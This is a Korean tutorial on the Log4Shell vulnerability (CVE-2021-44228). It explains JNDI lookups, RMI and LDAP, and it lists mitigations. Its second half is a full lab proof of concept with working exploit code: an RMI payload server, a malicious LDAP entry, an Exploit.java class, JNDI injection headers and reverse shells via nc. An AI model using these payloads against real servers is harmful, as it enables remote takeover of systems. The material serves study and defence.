1. 취약점 개요
1.1 정의
Log4Shell 취약점은 Apache사의 Java 기반 로깅 라이브러리인 Log4j 에서 발견된 원격 코드 실행(RCE) 취약점으로, 악의적인 공격자가 원격으로 임의 코드를 실행할 수 있다. Java 애플리케이션의 대표적인 로깅 라이브러리로 대부분의 Java 시스템에서 사용되기 때문에 많은 시스템들이 이 취약점의 영향을 받게 되었다.
CVE 식별번호는 CVE-2021-44228 로, CVSS의 심각도 점수 10점 만점에 10점을 받은 아주 치명적인 취약점이다.(ref. https://nvd.nist.gov/vuln/detail/CVE-2021-44228)
CVE(Common Vulnerabilities and Exposures)
공개적으로 알려진 컴퓨터 보안 결함 목록이며, 고유한 취약점을 가리키기 위해 CVE-발생연도-취약점번호 형식으로 표기된다.
CVSS(Common Vulnerability Scoring System)
컴퓨터 시스템 보안의 심각도 및 위험을 평가하는데 사용된다. 심각도 범위는 0~10이며, 취약성의 고유 특성을 나타낸다.
1.2 동작 방식
Log4j 는 시스템에서 발생하는 여러 가지 기록들을 로그에 기록하는 라이브러리로, 시스템의 침해 사고 및 이상징후가 발생했을 때 로그 기록을 통해 분석과 대응을 용이하게 해준다.
Log4j 는 일반적인 로그 출력 기능 외에도 출력할 문자열 내 특정 문자열(${jndi})을 포함한 URL이 발견될 경우 JNDI API가 호출된다.
JNDI(Java Naming and Directory Interface)
Java 애플리케이션에서 Naming(특정 자원이나 객체에 접근할 때 이름을 붙여서 접근) 또는, 다양한 디렉터리 서비스(ex. LDAP, RMI, DNS 등)에 연결하고 해당 서비스에 저장된 데이터를 조회할 때 사용된다.
디렉터리 서비스에 저장된 데이터는 단순 데이터 뿐만 아니라 Java 객체도 저장하고 조회할 수 있다.
따라서, 공격자가 악성 코드가 담긴 LDAP 서버를 구성하고 피해 서버가 악성 LDAP 서버로 요청을 수행하게 되면 최종적으로 피해 서버에 악성 코드(Java 객체)를 응답받아 임의의 코드가 실행된다.
즉, Log4Shell 취약점은 Log4j 에서 로그를 출력할 때, 출력되는 메시지가 사용자로부터 입력된 데이터로 출력되는 경우 악의적인 사용자가 ${jndi} 형태의 데이터를 삽입하여 악성 디렉터리 서버로 연결되도록 만드는 JNDI Injection 이 발생되는 취약점이다.
1.3 영향을 받는 버전
NVD(National Vulnerability Database) 정보에 따르면, Log4Shell 취약점(CVE-2021-44228)이 발생되는 버전은 다음과 같다.
S/W | 취약 버전 |
Apache Log4j | 2.2.0-beta9 ~ 2.15.0
(보안 릴리즈 2.12.2, 2.12.3 및 2.3.1 제외) |
위 취약 버전 이후 버전에서는 다음과 같이 패치 되었다.
•
2.15.0 부터는 JNDI 호출을 위한 lookup 기능의 활성화된 경우에만 임의 코드 실행이 가능하다.
lookup 기능은 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 통해 On/Off가 가능하다.
•
2.16.0(2.12.2, 2.12.3 및 2.3.1)부터는 해당 기능이 완전히 제거 됐다.
1.4 대응방안
•
가장 안전한 방법은 Log4j 의 버전을 2.17.1 이상으로 올리는 것이지만 해당 방법은 Java 8이 필요하다.
◦
Java 7이라면 2.12.4 이상 버전을 사용하고, Java 6이라면 2.3.2 버전을 사용한다.
•
Log4j 의 버전이 2.10.0 이상 사용 시 다음의 방법 중 한 가지 이상의 방법을 사용한다.
◦
Java 실행 인자에 시스템 속성(환경 변수) 추가
-Dlog4j2.formatMsgNoLookups=true
Plain Text
복사
◦
Java 실행 계정의 환경 변수 혹은 시스템 변수 설정
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
Plain Text
복사
•
위 버전보다 미만일 경우 JndiLookup 클래스와 JndiManager 클래스를 읽지 못하도록 조치한다.
# log4j-core-*.jar 파일 내 JndiLookup.class 삭제
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Bash
복사
•
공격 수행을 위한 입력 값으로 ${jndi} 형태의 패턴을 사용하는데, 해당 패턴을 보안 장비에 등록하여 공격 시도를 탐지 및 차단한다.
2. 취약점 원리 이해
Log4Shell 취약점의 원리를 이해하기 위해 아래 각 항목을 차례대로 실습 했습니다.
2.1 Log4j의 lookups 기능
우선, Log4j 는 lookups 기능을 제공한다. 이는 로그 메시지에 접두사(ex. java:)를 포함한 키를 입력하고 로그를 출력할 때 키에 해당하는 데이터를 조회(변환)하는 기능이다.
예를 들어, Java 웹 프레임워크인 Spring Boot 에 아래와 같이 URL /log 를 요청할 때, HTTP Request 헤더 msg 에 입력된 값을 logger.info 함수의 인자로 전달되는 코드가 있는 경우
@RestController
class LogController {
private static final Logger logger = LogManager.getLogger("DoTTak");
@GetMapping("/log")
public String index(@RequestHeader("msg") String msg) throws IOException {
logger.info("Received a log message: " + msg);
return "Log: " + msg + "\n";
}
}
Java
복사
HTTP Request 헤더 msg 에 {env:User} {java:version} {java:vm} 를 입력하여 요청을 수행하면 아래와 같이 {} 로 감싸진 데이터를 조회하여 출력되는 것을 확인할 수 있다.
curl localhost:7777/log -H 'msg: ${env:USER} ${java:version} ${java:vm}'
Bash
복사
이 lookups 기능 중 JNDI Lookup 기능은 Java의 JNDI 기능을 통해 클라이언트(ex. 웹 서버)가 Naming 및 디렉터리 서비스로 부터 객체 및 데이터를 조회할 수 있는 기능이다. 일반적으로 Java RMI, LDAP로 요청을 수행한다.
JNDI의 Naming 및 디렉터리 서비스
•
Naming
네이밍 서비스는 이름을 객체에 연관 시키는데, 이를 binding 이라 한다. 조회 또는 검색 작업을 사용하여 이름을 기반으로 객체를 찾는 기능을 제공한다.
•
디렉터리 서비스
디렉터리 객체를 저장하고 검색할 수 있는 특수한 유형의 Naming 서비스이다. 객체는 구체적 객체 또는 추상적 객체를 참조할 수 있으며, 객체에는 연관된 속성(ex. 이름, 메일, 주소를 묶어 하나의 객체로 볼 수 있다.)이 있다.
•
구체적 객체: 실제로 존재하는 물리적 또는 논리적 자원(ex. 파일, 프린터, 계정 등)
•
추상적 객체: 구체적 객체를 참조하거나 묶어주는 논리적 개념(ex. 그룹, 조직 등)
JNDI는 문자열 매개변수 하나만을 취하는 간단한 API 이지만, 매개변수가 공격자에 의해 입력될 경우 악성 RMI/LDAP 서버에 연결되어 임의의 명령어가 실행되는 RCE 취약점이 발생될 수 있다.
2.2 Java RMI(Remote Method Invocation)
개요
RMI 는 한 Java 가상 머신(RMI 클라이언트)에 있는 객체가 다른 Java 가상 머신(RMI 서버)에 정의된 메서드를 호출할 수 있도록 하는 메커니즘이다.
이 RMI 시스템 내에서 객체는 RMI 서버에서 내보내지고 해당 메서드는 RMI 클라이언트에서 호출되는데, 이를 통해 로컬에 있는 Java 가상 머신이 원격지에 있는 객체와 관련된 Java 바이트 코드를 조회하여 호출할 수 있다.
실습
JNDI 클라이언트는 initialContext 의 lookup() 메서드를 사용하여 RMI Registry 연결하고 객체를 요청할 수 있다.
Context ctx = new InitialContext();
Object local_obj = ctx.lookup("Object");
Java
복사
RMI Registry
RMI 시스템의 서버 측 구성 요소로, 원격에 있는 객체를 클라이언트가 조회하고 호출할 수 있게 해준다.
JNDI 클라이언트에서 lookup() 메서드의 매개변수를 외부로부터 입력 받아 InitialContext.lookup("rmi://외부 사용자가 입력") 의 형태로 사용될 경우 rmi:// 스키마에 의해 RMI Registry 에서 외부로 부터 입력 받은 데이터로 객체를 조회하게 된다.
이때, 공격자가 해당 매개변수를 악성 서버를 가리킬 경우 JNDI 클라이언트는 악성 서버로부터 임의 코드를 실행하는 객체를 전달받아 클라이언트측에서 실행하게 된다.
우선, RMI 서버 코드는 다음과 같다.
public class RmiServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
try {
Registry reg;
try {
reg = LocateRegistry.createRegistry(1099);
System.out.println("java RMI registry created. port on 1099...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}
/** Exploit with JNDI Reference with local factory Class **/
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "xx=eval"));
ref.add(new StringRefAddr("xx",
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['nc', 'host.docker.internal', '9999', '-e', '/bin/bash']).start()\")"));
ReferenceWrapper ServicesWrapper = new ReferenceWrapper(ref);
reg.bind("Services", ServicesWrapper);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
Java
복사
위 코드를 보면, reg = LocateRegistry.createRegistry(1099); 코드에 의해 RMI Registry 를 1099 포트로 Listen 하고 있다. 이후 ResourceRef 인스턴스를 생성하는데 해당 클래스는 다음과 같다.
ResourceRef 는 JNDI API에서 사용되는 클래스로, 외부 리소스를 JNDI 디렉토리 서비스로부터 조회하고, 이를 Java 객체로 변환하기 위해 사용된다. 위 코드에서는 javax.el.ELProcessor 가 리소스의 클래스 이름을 나타내며, org.apache.naming.factory.BeanFactory 는 리소스를 생성하는 데 사용될 Factory Class 이름을 나타낸다.
RMI 서버, 클라이언트 모두 BeanFactory 리소스를 포함하고 있어야 한다.(tomcat 의 구현 구문 중 하나로 tomcat 을 사용 중인 클라이언트(웹 서버)에서는 당연히 포함되어 있다.)
Factory Class
RMI 서버에 요청한 객체는 javax.naming.Reference 클래스의 인스턴스로 설정할 수 있다.(ex. Reference reference = new Reference("MyClass","FactoryClass",FactoryClassLocation);)
이때, 객체를 인스턴스화 하기 위해 원격지인 FactoryClassLocation으로 부터 객체 정보를 가져오게 된다.
즉, 악성 서버로부터 악의 적인 객체를 전달받기 위한 경로를 지정할 수 있으며, 해당 객체가 만일 아래의 코드로 구현 된 경우, static {} 블록은 인스턴스화 될 때 실행 되므로 해당 블록 위치에 임의 코드를 구현할 수 있다.
class Exploit() {
static {
// Running Exploit
}
}
Java
복사
다만, Java 8u191 이후에는 위 FactoryClassLocation이 사용되지 않아 불가능 하지만 이를 우회하기 위한 방법으로 Apache Tomcat Server 내 org.apache.naming.factory.BeanFactory 클래스를 사용할 수 있다. 해당 클래스는 javax.el.ElProcessor 인스턴스를 생성할 수 있는데 이때, eval 메서드를 호출하고 인자 값에 Java 표현식을 작성하여 임의 코드를 실행할 수 있다.
이어서, 구문 ref.add(new StringRefAddr("forceString", "xx=eval")); 에 forceString 은 xx=eval 로 선언되어 있어, eval(xx) 로 호출이 발생되며, 최종적으로 StringRefAddr.add(new StringRefAddr("xx", ....(페이로드)) 구문에 있는 (페이로드)가 eval 함수의 인자로 삽입되어 실행된다. 이후 해당 참조 객체가 Services 에 등록되어 진다.
따라서, 위 서버 코드로RMI 요청 시(포트 1099, Services 로 바인딩 시) 임의 코드가 작성된 (페이로드) 가 요청자(RMI 클라이언트) 환경에서 실행된다.
위 서버 코드로 접속하는 RMI 클라이언트 코드는 다음과 같다.
public class RmiClient {
public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
String host = "localhost";
if (args.length > 0)
host = args[0];
Context ctx = new InitialContext();
ctx.lookup("rmi://"+host+":1099/Services");
}
}
Java
복사
위 코드를 보면 RMI 서버로 데이터를 조회하기 위해 ctx.lookup("rmi://"+host+":1099/Services"); 구문이 사용 됐으며, 이때 변수 host 는 외부 사용자로 부터 입력받은 데이터를 표현한 것이다.
즉, 위 코드는 최종적으로 다음의 시나리오를 통해 RCE 가 발생된다.
1.
RmiClient 는 외부 사용자로부터 입력받은 데이터를 lookup() 메서드의 인자로 전달된다.
2.
공격자는 악의적인 RmiServer 를 만들어, 클라이언트에서 포트 1099, 바인딩 키(이름) Services 를 동일하게 RMI Registry 에 등록하여 해당 응답으로 임의 코드를 실행하는 객체를 반환한다.
3.
이후 공격자는 RmiClient 를 실행할 때, lookup() 메서드의 인자를 자신의 악성 서버로 지정하여, 해당 서버로부터 악성 객체를 응답받은 RmiClient 환경은 악의적인 코드가 실행된다.
위 내용에 대한 흐름도는 다음과 같다.
2.3 정리
‘2.1 Log4j의 lookups 기능’ 을 통해 Log4j 의 lookups 기능 중 JNDI Lookup 기능을 통해 RMI 를 요청할 수 있는 것을 확인할 수 있었다.
logger.info("${rmi://공격자주소}") 를 통해 공격자주소 로 RMI 요청 수행
이에 로그 출력 함수 info 의 인자 값이 사용자로 부터 입력받은 데이터가 전달 될 경우, 공격자는 ${rmi://공격자주소} 의 형태로 데이터를 전달할 수 있다.
그럼 ‘2.2 Java RMI(Remote Method Invocation)’ 내용에 의해 info 함수를 호출한 서버에서 공격자가 만들어놓은 RMI 서버로 요청(lookup(rmi://공격자수소))을 수행하고, 이에 대한 응답으로 임의 코드를 실행하는 악의 적인 객체를 응답받게 되어 최종적으로 RCE 까지 가능한 것을 확인했다.
3. 취약점 PoC
3.1 들어가기에 앞서
위 내용을 바탕으로 Log4Shell 취약점이 발생되는 원리는 로그 메시지를 출력할 때 특정 문자열 {jndi} 이 포함될 경우 Log4j 라이브러리에서 Java API인 JNDI 가 호출 되면서 발생되는 취약점이다.
즉, JNDI Lookup 기능이 실행 될 때 외부 디렉터리 서비스에 대한 검증을 수행하지 않은 채 JNDI 가 호출되는 문제로 인해 발생된 것이다.
이에 악성 사용자가 Log4j 로그 출력 함수의 매개변수에 데이터를 입력할 수 있는 경우, 입력 데이터로 {jndi:*://공격자 주소} 형태로 전달하게 되면 JNDI 의 로직에 의해 최종적으로 lookup 메서드의 매개변수로 *://공격자 주소 가 포함되어 최종적으로 악의적인 객체가 *://공격자 주소 서비스의 응답에 포함되어 실행되는 것이다.
* 는 rmi, ldap 등 여러 디렉터리 서비스를 의미한다.
아래 부터는 이 내용을 직접 구현하며, PoC를 수행한다.
취약점 시연을 위해 JDK 1.8.0_181 버전으로 구동 했으며, Log4j 버전은 2.6.1 이다.
각 서비스에 대한 설명
Docker 컨테이너는 호스트 PC와 포트포워딩되어 있으므로 컨테이너간 통신은 host.docker.internal 호스트로 요청을 수행하면 된다.
예를 들어, Vulnerable Application(출발지)이 LDAP 서버(목적지)로 요청을 수행하려면 출발지 → host.docker.internal:389 → 목적지 구조로 요청을 수행하면 된다.
또한, 호스트에서 컨테이너로 통신을 수행하려면 포트포워딩에 의해 localhost:포트 로 요청을 수행하면 된다. 예를 들어, 호스트에서 Vulnerable Application으로 요청을 수행하려면 localhost:7777 로 요청하면 된다.
구분 | 위치 | 포트(TCP) | 설명 |
Vulnerable Application | Docker 컨테이너 | 7777 | 취약한 웹 애플리케이션 서버로, Log4Shell 취약점이 발생된다. |
RMI Server | Docker 컨테이너 | 1099 | Vulnerable Appliation으로 부터 RMI 요청을 전달받아, RCE 를 발생시키기 위한 페이로드를 응답한다. |
LDAP Server | Docker 컨테이너 | 389 (openLDAP Server)
8080 (phpLDAPadmin) | Vulnerable Appliation으로 부터 LDAP 요청을 전달받아, 악성 Java 객체를 다운로드 받도록 javaCodeBase 속성 값에 Exploit Server 주소 값을 전달한다. |
Exploit Server | 호스트 | 8888 | /Exploit.class 를 요청할 경우 RCE를 일으키는 악성 Java 객체를 반환한다. |
nc -lv 9999 | 호스트 | 9999 | Vulnerable Application과 리버스 방식으로 셸을 연결하기 위함 |
3.2 Vulnerable Application(Java Spring Boot)
설명
해당 취약한 애플리케이션은 Java 기반 Spring Boot 프레임워크로 만들어진 웹 애플리케이션이다.
총 2개의 엔드포인트를 포함하고 있으며, 각 엔드포인트의 내용은 다음과 같다.
엔드포인트
[메인 페이지(/)]
메인 페이지(/)는 단순히 템플릿 index.html 을 반환할 때, 템플릿 컨텍스트 message 에 입력된 데이터를 반환하는 페이지다.
[로깅 페이지(/log)]
로깅 페이지(/log)는 HTTP Request 헤더 msg 로 전달된 값을 Log4j 라이브러리를 통해 로그를 출력하는 페이지다.
GET 메소드 요청에 대한 처리를 수행하려 했으나, Log4j 의 JNDI Lookup 기능을 수행할 때 특수문자 $, {, } 가 전달 되는데, 해당 문자들은 URL 인코딩을 수행해야 하는 번거로움으로 있으므로 HTTP Request Header를 이용했다.
logger.info() 메서드의 매개변수로 msg 의 데이터가 전달되며, 해당 요청에 대한 응답 값으로는 전달된 msg 데이터가 다시 반환된다.
빌드 및 실행
1.
DoTTak/Log4Shell-PoC 저장소로 부터 코드를 내려받은 뒤, 해당 프로젝트로 이동한다.
git clone https://github.com/DoTTak/Log4Shell-PoC.git
cd Log4Shell-PoC
Bash
복사
2.
이후 vulnerable-application 폴더로 이동한 뒤, Dockerfile 을 빌드하여 도커 이미지를 생성한다.
cd vulnerable-application
docker build --platform linux/amd64 -t log4shell-poc-app .
Bash
복사
3.
생성된 도커 이미지 log4shell-poc-app:latest 를 컨테이너로 실행하자.
참고로, 웹 애플리케이션 서버 포트는 항상 7777 로 오픈 되어 있다. 변경은 Application.java 를 수정하면 된다.
docker run --rm --platform=linux/amd64 --add-host=host.docker.internal:host-gateway --name log4shell-poc-app -p 7777:7777 log4shell-poc-app
Bash
복사
사용법
# 아래 명령어를 호스트 PC에서 실행할 경우 log4shell-poc-app 컨테이너 로그에 아래 메시지(헤더 'msg')가 출력된다.
curl localhost:7777/log -H 'msg: Log4j Test >> ${java:version}, ${java:vm}, ${env:PATH}'
Bash
복사
3.3 Log4Shell using RMI
설명
RMI 서버로, 포트 1099 로 Listen 상태로 바인딩을 기다린다.
RMI 클라이언트로 부터 요청이 발생되면, BeanFactory 를 통해 ElProcessor 리소스를 생성하게 되는데 이때, eval 메서드 호출에 의해 아래의 코드가 실행된다.
busybox nc host.docker.internal 9999 -e /bin/sh
Bash
복사
즉, RMI 요청 클라이언트는 Log4j 라이브러리를 통해 로그를 기록하는 메서드로부터 발생 된다. 이는 취약한 웹 애플리케이션 서버 vulnerable-application 에서 로그 메서드 내 문자열에 ${jndi:rmi://rmi-server} 가 포함될 때이다.
따라서, 성공적으로 Exploit 이 될 경우 vulnerable-application 의 셸을 호스트(host.docker.internal) 에서 탈취할 수 있다.
빌드 및 실행
1.
rmi-server 폴더로 이동한 뒤, Dockerfile 을 빌드하여 도커 이미지를 생성한다.
docker build --platform linux/amd64 -t log4shell-rmi-server .
Bash
복사
2.
생성된 도커 이미지 log4shell-rmi-server:latest 를 컨테이너로 실행하자.
docker run --rm --platform=linux/amd64 --add-host=host.docker.internal:host-gateway --name log4shell-rmi-server -p 1099:1099 log4shell-rmi-server
Bash
복사
PoC
vulnerable-application 컨테이너가 실행된 상태이여야 한다.
실행하지 않았으면, vulnerable-application 폴더로 이동한 뒤, 아래의 명령어를 입력하자.
docker run --rm --platform=linux/amd64 --add-host=host.docker.internal:host-gateway --name log4shell-poc-app -p 7777:7777 log4shell-poc-app
Bash
복사
rmi-server 서버를 실행하면 다음과 같이 java RMI registry created. port on 1099... 메시지가 나온다.
이 상태에서, 호스트 PC에 새로운 셸을 하나 생성한 뒤 nc -lv 9999 명령어를 통해 9999 포트를 Listen 한다.
nc -lv 9999
Bash
복사
여기까지 완료되었으면, 현재 아래와 같이 vulnerable-application, rmi-server 두 개의 컨테이너와 호스트 PC에서 nc -lv 9999 가 Listen 상태이여야 한다.
이후, 호스트 PC에 vulnerable-application 웹 애플리케이션 서버로 RMI 서버인 rmi-server 로 요청을 수행하는 아래의 페이로드를 입력하자.
curl localhost:7777/log -H 'msg: ${jndi://host.docker.internal:1099/Service'
Bash
복사
이후 임의의 시스템 명령어 id, hostname 을 입력하면, log4shell-poc-app 컨테이너의 셸과 연결되어 리버스 셸로 동작되는 것을 확인할 수 있다.
3.4 Log4Shell using LDAP
Log4Shell 관련 PoC 를 보면 대부분 이미 만들어진 악성 LDAP 서버를 이용하고 있습니다. 이에 직접 LDAP 서버를 구현하면 좋은 경험이 될 것같아 부득이 구축 과정이 포함된 점 양해 부탁 드리겠습니다.
설명
Log4Shell 취약점의 초기 PoC 는 JNDI 를 통해 LDAP 서버로 부터 악의적인 응답 데이터를 전달 받아 RCE 취약점을 발생시켰다. 그만큼 RMI 보다 더욱 간결하게 Exploit 할 수 있는 방식 중 하나로, 실제 공격에도 LDAP 가 제일 발생이 많았다.
LDAP 서버는 Java 객체를 javaSerializedData(직렬화된 객체)로 저장하거나, 원격지로부터 요청을 통해 가져오는 CodeBase 를 이용해볼 수 있다.
javaSerializedData 는 직렬화된 바이너리 객체를 Base64로 인코딩하여 저장된다.
공격자는 Log4Shell 취약점이 존재하는 서버로 ${jndi:ldap://<공격자의 악성 LDAP 주소>} 의 데이터를 포함하여 요청을 수행하며, 해당 데이터를 전달받은 취약한 서버는 해당 데이터를 로그 출력 메서드의 매개변수로 저장한다.
이후 취약한 서버는 로그 출력 메서드의 매개변수에 ${jndi:ldap://..} 데이터가 전달되어 Log4j 라이브러리에서 JNDI 기능을 통해 lookup 메서드가 호출되었다. 그 다음 <공격자의 악성 LDAP 주소> 로 질의를 요청하고 이에 대한 응답으로 아래의 응답 데이터를 받게 된다.
javaClassName: foo
javaCodeBase: http://attacker.com
objectClass: javaNamingReference
javaFactory: Epxloit
Bash
복사
위 응답 방식은 CodeBase 방식으로, 원격지(http://attacker.com)로 부터 객체 파일을 응답받는다.
LDAP 서버 응답을 받은 취약한 서버는 다시 javaCodeBase 에 적힌 주소(http://attacker.com)로 악성 Java 객체를 요청하고, 해당 객체를 응답받은 취약한 웹 서버는 객체에 정의된 코드가 실행되어 Exploit이 발생된다.
LDAP 서버 구축
악성 LDAP 서버를 구축하기 위해 오픈 소스로 공개된 OpenLDAP 서버를 사용했으며, 웹 UI 도구로 phpLDAPadmin 을 이용했다.
OpenLDAP 와 phpLDAPadmin 이미지를 하나의 도커 프로젝트로 만들기 위해 docker-compose 을 이용하여 구축했으며, 해당 코드도 DoTTak/Log4Shell-PoC 저장소에 포함되어 있다.
OpenLDAP, phpLDAPadmin
OpenLDAP
OpenLDAP은 OpenLDAP 프로젝트가 개발한 LDAP의 자유 오픈 소스 구현체이다. OpenLDAP 퍼블릭 라이선스라는 이름의 자체 BSD 스타일 라이선스로 배포된다. (ref. 위키백과)
phpLDAPadmin
LDAP 서버를 관리하기 위한 웹 UI 클라이언트
아래 과정 중 악성 LDAP 응답 데이터를 저장하는 과정이 존재하는데 저장소에는 이미 셋팅되어 있으니 1번 과정만 수행하면된다.
1.
ldap-server 폴더로 이동한 뒤, 아래 명령어를 입력하여 docker-compose 를 실행한다.
docker-compose up -d
Bash
복사
2.
phpLDAPadmin 접속
docker-compose 명령어를 통해 openLDAP 와 phpLDAPadmin 를 실행 했으면, localhost:8080 를 브라우저를 통해 접속한다.
•
로그인
로그인은 메인 페이지 좌측의 login 메뉴를 통해 접근할 수 있다.
로그인은 입력폼 Login DN 에는 cn=admin,dc=example,dc=com 를 입력하고, Password 에는 admin 을 입력하면 된다.
이후, 로그인이 정상적으로 완료되면 아래의 화면을 확인할 수 있다.
3.
악성 LDAP 서버 셋팅
초기 OpenLDAP 서버는 BaseDN을 통해 접근을 수행해야 하며, 인증이 필요하다. 이 경우 피해자 서버로 부터 악성 LDAP 서버로 요청을 수행할 수 없기 때문에 아래의 과정을 통해 익명 사용자의 질의를 수행해야 한다.
우선, openLDAP 서버의 컨테이너로 접속을 수행한다.
docker exec -it openldap /bin/bash
Bash
복사
이후, 아래의 명령어를 입력하여 익명 사용자의 질의를 허용하도록 한다.
ldapmodify -Y EXTERNAL -H ldapi:/// <<EOF
dn: olcDatabase={1}mdb,cn=config
changetype: modify
replace: olcAccess
olcAccess: {0}to * by anonymous read by self write by users read by * none
EOF
Bash
복사
4.
Java 객체를 저장하기 위해 스키마를 추가한다.
동일하게 openLDAP 컨테이너로 접속한 상태에서, 아래의 명령어를 입력하여 Java 스키마를 추가한다.
ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/ldap/schema/java.ldif
Bash
복사
스키마가 올바르게 추가 되었는지 아래의 명령어를 입력하여 확인한다.
ldapsearch -Y EXTERNAL -H ldapi:/// -b cn=schema,cn=config cn=java
Bash
복사
5.
LDAP 서버에 악의적인 응답 데이터를 추가
PoC는 javaCodeBase 방식으로, LDAP 서버로부터 응답받은 피해 서버는 악성 Java 객체를 다운로드 받기 CodeBase 속성 값에 해당하는 주소로 다시 요청을 수행하게 된다.
우선, LDAP 는 트리 구조 방식이므로, 악성 페이로드를 저장하기 위한 ou(조직) 그룹 payloads 를 먼저 만든다.
먼저, 아래의 내용을 가지는 payloads.ldif 파일을 만든다.
vi 명령어가 없으면 apt-get update;apt-get install -y vim 을 입력하여 다운로드 받는다.
dn: ou=payloads,dc=example,dc=com
objectClass: organizationalUnit
ou: payloads
Bash
복사
이후 해당 파일을 아래의 명령어를 통해 추가한다.
ldapadd -x -D "cn=admin,dc=example,dc=com" -W -f payloads.ldif
Enter LDAP Password: # 'admin' 입력
Bash
복사
그 다음 아래의 내용을 가지는 paylaod.ldif 파일을 만든다.
dn: cn=payload,ou=payloads,dc=example,dc=com
objectClass: javaNamingReference
objectClass: inetOrgPerson
sn: payload
javaClassName: Exploit
javaCodeBase: http://host.docker.internal:8888/
javaFactory: Exploit
Bash
복사
이후 해당 파일을 아래의 명령어를 통해 추가한다.
ldapadd -x -D "cn=admin,dc=example,dc=com" -W -f payload.ldif
Enter LDAP Password: # 'admin' 입력
Bash
복사
6.
LDAP 서버에 저장된 악의적인 응답 확인
localhost:8080 에 접속하여, 로그인을 수행한 뒤 아래 사진과 같이 악의적인 응답이 저장된 카테고리로 이동하여 저장된 데이터를 확인한다.
Exploit 서버 구축
Exploit 서버는 취약한 웹 애플리케이션 서버 vulnerable-application 이 Log4j 라이브러리에 의해 JNDI 로 공격자의 LDAP 서버로 요청을 수행하고, 이 LDAP 서버 응답의 javaCodebase 속성 값에 해당하는 주소를 가지는 서버이다.
해당 서버는 호스트 PC에서 구현할 거라 방금 전 LDAP 서버의 javaCodebase 값을 host.docker.internal 로 작성했다.
우선, exploit-server 폴더로 이동하면 아래의 코드를 가지는 Exploit.java 파일이 존재한다.
public class Exploit {
static {
try {
Runtime.getRuntime().exec("busybox nc host.docker.internal 9999 -e /bin/sh").waitFor();
} catch (Exception e) {
System.out.println(e);
}
}
}
Bash
복사
해당 파일을 javac Exploit.java 명령어를 통해 컴파일을 수행한다.
javac Exploit.java
Bash
복사
이후 해당 경로를 아래의 명령어를 입력하여 웹 서버로 호스팅하여 컨테이너로 생성된 vulnerable-application 이 http://host.docker.internal:8888/Exploit.class 로 요청을 수행할 수 있도록 만든다.
python3 -m http.server 8888
Bash
복사
PoC
vulnerable-application, openldap 컨테이너와 호스트에서 exploit-server 를 호스팅한 상태여야 한다.
위 내용을 실행하지 않았으면 아래의 내용을 수행한다.
•
vulnerable-application
# vulnerable-application 폴더로 이동한 뒤, 아래의 명령어를 입력한다.
docker run --rm --platform=linux/amd64 --add-host=host.docker.internal:host-gateway --name log4shell-poc-app -p 7777:7777 log4shell-poc-app
Bash
복사
•
openldap
# ldap-server 폴더로 이동한 뒤, 아래의 명령어를 입력한다.
docker-compose up -d
Bash
복사
•
exploit-server
# exploit-server 폴더로 이동한 뒤, Expoit.java를 컴파일한다.
javac Exploit.java
# 이후 Exploit.class 파일이 생겼으면, 아래의 명령어를 입력하여 호스팅한다.
python3 -m http.server
Bash
복사
모든 구축이 완료 됐으면 다음과 같이 셸을 구성한다.
이후 호스트 셸에서 아래의 명령어를 입력한다.
curl localhost:7777/log -H 'msg: ${jndi:ldap://host.docker.internal:389/cn=payload,ou=payloads,dc=example,dc=com}'
Bash
복사
기존 악성 LDAP 서버는 응답 패킷만을 반환하는 웹 서버라 요청 URL이 간단한데, 이 PoC는 실제 LDAP 서버를 이용함에 따라 질의가 조금 복잡하다.
cn=paylaod,ou=payloads,dc=example,dc=com 모두 맞춰져야 디렉터리 조회가 가능하다.
이후, nd -lv 9999 명령어를 수행한 셸에 시스템 명령어를 입력하여 리버스 셸 연결을 확인한다.
위 그림과 같이 nc -lv 9999 명령어를 실행한 공격자(Host)는 vulnerable-application 의 셸로 접속된 것을 확인하기 위해 hostname 명령어를 입력했고, 아래와 같이 docker container ls 명령어를 수행한 결과 vulnerable-application 의 값인 것을 확인했다.
4. PoC 시연 영상
5. 용어 정리
5.1 Directory Service(디렉터리 서비스, DS)
정의
우선 디렉터리 란, 일반적으로 어떤 대상의 이름과 그것에 관계되는 정보를 모아 놓은 표. 예를들어, 실생활에서는 전화번호부 혹은 주소록이 될 수 있다.
데이터베이스에서는 데이터베이스 내 논리 데이터 구조나 의미 조건, 그리고 그 물리적인 구조를 기술한 부분을 말하며, 운영체제(OS)에서는 파일 이름과 그 파일이 실제로 기억되고 있는 물리적인 장소를 나타내는 표를 말한다.
참고로, 디렉터리는 Tree 구조로, 각 디렉터리에는 서브 디렉터리 또는 파일(데이터)이 저장되는 구조이다.
즉, 디렉터리 서비스 는 네트워크 내 분산되어 있는 디렉터리를 일원적으로 관리하여, 디렉터리에 수용되어 있는 정보의 검색, 변경, 추가, 삭제 등 디렉터리 사용자(사용자 혹은 프로그램)가 요구하는 서비스를 제공하는 엔트리라 볼 수 있다. (ref. TTA-정보통신용어사전)
AD(Active Directory)
디렉터리 서비스를 찾아볼 때, AD(Active Directory) 용어가 자주 등장하는데 이는 Microsoft가 Windows 전용으로 개발한 디렉터리 서비스 제품으로, 공유 네트워크 상의 PC, 디바이스, 서비스, 사용자 그룹 등을 정리하고 관리하기 위한 인터페이스를 제공해준다.
따라서, 디렉터리에는 파일 이외에도 계정 정보, 프린터 정보, 컴퓨터 정보가 저장된다.
5.2 LDAP(Light Weight Directory Access Protocol)
정의
LDAP(Lightweight Directory Access Protocol)는 디렉터리 서비스를 제공하기 위한 프로토콜로, 네트워크상에서 조직이나 개인, 파일, 디바이스 등을 찾아볼 수 있게 해주는 소프트웨어 프로토콜이다.
